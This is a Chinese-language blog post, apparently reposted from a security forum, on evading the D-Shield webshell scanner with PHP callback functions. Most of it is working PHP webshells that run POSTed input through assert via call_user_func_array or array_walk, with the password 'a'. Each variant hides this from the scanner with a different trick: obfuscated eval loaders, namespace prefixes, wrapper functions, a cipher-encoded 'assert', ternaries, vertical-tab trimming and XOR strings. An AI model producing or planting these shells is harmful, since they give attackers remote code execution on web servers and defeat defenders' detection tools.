**回调函数绕过D盾小套路**

注明：首发于先知社区：<https://xz.aliyun.com/t/6823>

最近略看表哥和是师傅们的文章，听说D盾把所有回调函数都拉黑了，存在回调函数就报可疑。今天我将给大家带来几种消除这个可疑的几种方法和思路，供大家参考。大家可以根据思路自行修改。

常见的回调函数如下：

call\_user\_func\_array()

call\_user\_func()

array\_udiff()

array\_filter()

array\_walk()

array\_map()

array\_reduce()

array\_walk\_recursive()

registregister\_shutdown\_function()

register\_tick\_function()

filter\_var()

filter\_var\_array()

uasort()

uksort()

接下来我就随机选择一个回调函数简单构造一些免杀马吧。那就直接选择上述第一个call\_user\_func\_array()函数吧，这个函数的作用是调用回调函数，并把一个数组参数作为回调函数的参数，使用说明如下：

call\_user\_func\_array ( callable $callback , array $param\_arr ) : mixed

把第一个参数作为回调函数（callback）调用，把参数数组作（param\_arr）为回调函数的的参数传入。

因此首先我就随便写了一个简单的木马如下：

<?php

call\_user\_func\_array('assert', array($\_POST['a']));

?>

使用最新版本的D盾查杀如下，报了4级可疑：



好了，已经正确表明D盾把回调函数call\_user\_func\_array拉黑了，接下来将是我的重点，介绍如何绕过这种检测。

**混淆加密绕过**

关于这个混淆加密绕过，我用了一种十分古老的工具"微盾php脚本加密专家"混淆加密，因为方便，哈哈，大家也可以自行混淆加密。直接将我上诉第一次写的D盾报了4级可疑的代码

<?php

call\_user\_func\_array('assert', array($\_POST['a']));

?>

进行混淆加密过后得到了如下结果：成功绕过D盾

<?php // This file is protected by copyright law & provided under license. Copyright(C) 2005-2009 www.vidun.com, All rights reserved.

$OOO0O0O00=\_\_FILE\_\_;$OOO000000=urldecode('%74%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64%66%70%6e%72');$OO00O0000=128;$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$O0O0000O0='OOO0000O0';eval(($$O0O0000O0('')));return;?>



木马使用方法：

密码：a

扫描结果如下：



**&&绕过**

使用&&符号将所有代码放到同一行来执行

<?php

($a = 'assert')&&($b = $\_POST['a'])&&call\_user\_func\_array($a, array($b));

?>

简单解释：同一行代码使用&&符号连接是按照从左到右的顺序执行的，所以首先将assert赋值给变量𝑎，然后将从客户端𝑝𝑜𝑠𝑡过来的参数赋值给变量a，然后将从客户端post过来的参数赋值给变量b，再使用回调函数调用assert函数，执行从客户端post过来的数据。

木马使用方法：

密码：a

成功绕过，D盾扫描结果如下：



**命名空间绕过**

这个就更简单了，直接在回调函数前加上命名空间反斜杠\即可成功绕过。

绕过代码如下：

<?php

\call\_user\_func\_array('assert', array($\_POST['a']));

?>

D盾扫描结果如下：



木马使用方法：

密码：a

再次绕过

<?php

($a = 'assert')&&($b = $\_POST['a'])&&"\x0b".call\_user\_func\_array(trim("\x0b".$a), array($b));

?>

**函数绕过**

随便写个函数，将回调函数藏到函数里面去，将代码执行函数和post的参数通过参数传给函数，即可成功绕过，绕过代码如下：

<?php

function v01cano($aaa,$bbb){

call\_user\_func\_array($aaa, $bbb);

}

v01cano('assert',array($\_POST['a']));

?>

这样也能绕？这也太假了吧。

木马使用方法：

密码：a

D盾扫描结果如下：



当然也可以将回调函数放在类里面，个人认为这与放在函数里面相似，所以不在赘述了。

**自写加密函数绕过**

这个可能比前面的会略微复杂一点点，因为这里我的代码执行函数assert直接传入回调函数被D盾识别了，所以我就需要隐藏assert，隐藏方法太多了，下面我就自己写了个仿射变换隐藏一下assert。

<?php

function encode($para0){

$m=strtolower($para0);

$a = 7;

$b = 21;

$c = "";

for($i=0;$i<strlen($m);$i++)

{

$c=$c.chr((((ord(substr($m,$i,1))-97)\*$a+$b)%26)+97);

}

return $c;

}

$a = $\_POST['a'];

call\_user\_func\_array(encode('xhhfsw'), array($a));

?>

自己随便写了个函数就绕过了。

木马使用方法：

密码：a

D盾检测结果如下：



**三元运算符绕过**

当我随手写下如下木马时：

<?php

$a=$\_GET['a'];

$b=$\_POST['a'];

call\_user\_func\_array($a, array($b));

?>

D盾报了二级可疑，可疑原因如下：



他竟然做了简单的替换，将我的变量$a的值直接替换到了回调函数中，所以报了可疑，这就太有趣了，我想看看D盾会不会稍微复杂的运算，我猜它不会，于是我就写下了三元运算符：成功绕过D盾。

<?php

$a=$\_GET['a'];

$b=$\_POST['a'];

call\_user\_func\_array($a==$a?$a:$a, array($b));

?>

木马使用方法：

url?a=assert

密码：a

D盾检测结果如下：



**垂直制表符绕过**

随意选择一个转义符绕过，这里选择了垂直制表符。

<?php

$b=$\_POST['a'];

$a="\x0Bassert";

call\_user\_func\_array(trim($a), array($b));

?>

使用垂直制表符最后要记得使用trim或者其他函数将空格去除即可。

D盾扫描结果如下：



再次绕过：

<?php

$b=$\_POST['a'];

$a="assert";

call\_user\_func\_array(trim("\x0B".$a), array($b));

?>

我就简单介绍到这里吧，仅仅提供一些思路和方法给大家，其实方法太多太多了，还能继续写，静态查杀的弊端已经越来越凸显了，让我们一起想动态查杀进攻吧。其实我感觉D盾也不是存静态的查杀吧，毕竟在上述绕过的过程中大家也看到了，D盾也能够获取一些变量的值，做简单的运算，代换，只是不会做复杂的运算和代换而已。最后希望D盾能够向动态查杀进攻，查杀效果能够越来越强大。

**某个绕过**

命名空间绕过：

<?php

function v01cano($aaa, $bbb){

$ccc=$bbb;

\array\_walk($aaa, $ccc);

}

$ddd = 'rG!q-X'^"\x13\x34\x52\x14\x5f\x2c";

v01cano(array($\_POST['e']), $ddd);

?>